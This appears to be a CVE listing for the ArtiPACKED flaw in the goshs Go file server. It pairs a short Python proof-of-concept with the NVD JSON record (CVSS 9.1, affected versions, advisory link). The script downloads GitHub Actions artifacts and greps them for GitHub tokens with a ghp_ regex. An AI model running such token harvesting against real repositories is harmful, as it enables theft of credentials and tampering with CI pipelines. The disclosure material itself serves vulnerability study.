CVE-2026-40903

#!/usr/bin/env python3 """ PoC for CVE-2026-40903 (ArtiPACKED) This script demonstrates how a leaked token might be found in workflow artifacts. Note: This is a conceptual simulation as the specific artifact URL depends on the target repo context. """ import requests import zipfile import io import re # Simulated artifact URL (In a real scenario, this would be a specific GitHub Actions artifact URL) ARTIFACT_URL = "https://github.com/patrickhener/goshs/suites/1234567890/artifacts/123456" GITHUB_TOKEN_PATTERN = re.compile(r"ghp_[a-zA-Z0-9]{36}") def check_artifact_for_token(url): print(f"[*] Attempting to download artifact from: {url}") try: # In a real attack, no authentication is needed if artifacts are public response = requests.get(url) if response.status_code == 200: print("[+] Artifact downloaded successfully.") # Assuming the artifact is a zip file with zipfile.ZipFile(io.BytesIO(response.content)) as z: for filename in z.namelist(): print(f"[*] Checking file: {filename}") with z.open(filename) as f: content = f.read().decode('utf-8', errors='ignore') matches = GITHUB_TOKEN_PATTERN.findall(content) if matches: print(f"[!] CRITICAL: Found potential GitHub Token in {filename}: {matches}") return True print("[-] No tokens found in this artifact.") else: print(f"[-] Failed to download artifact. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": check_artifact_for_token(ARTIFACT_URL)

{"cve": {"id": "CVE-2026-40903", "sourceIdentifier": "[email protected]", "published": "2026-04-21T20:17:02.947", "lastModified": "2026-05-01T16:15:06.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.6, goshs has an ArtiPACKED vulnerability. ArtiPACKED can lead to leakage of the GITHUB_TOKEN through workflow artifacts, even though the token is not present in the repository source code. This vulnerability is fixed in 2.0.0-beta.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-829"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:*:*:*:*:*:go:*:*", "versionEndExcluding": "2.0.0", "matchCriteriaId": "471EA45E-3052-469D-B301-4D92FB187228"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta1:*:*:*:go:*:*", "matchCriteriaId": "047ECFC3-056F-4FAC-9B64-5F7C120CFFE1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta2:*:*:*:go:*:*", "matchCriteriaId": "6EA86AD2-EE6D-4427-9434-A9A49A4D38F9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta3:*:*:*:go:*:*", "matchCriteriaId": "F44CF6A3-C1BC-4636-A1D5-1ED69A340FE3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta4:*:*:*:go:*:*", "matchCriteriaId": "486D1F77-023B-4EB9-8B49-17EF6546F2DF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta5:*:*:*:go:*:*", "matchCriteriaId": "5834E73F-2EF9-42BD-BE8B-DE087A19A132"}]}]}], "references": [{"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-hpxj-9fgp-fhhf", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}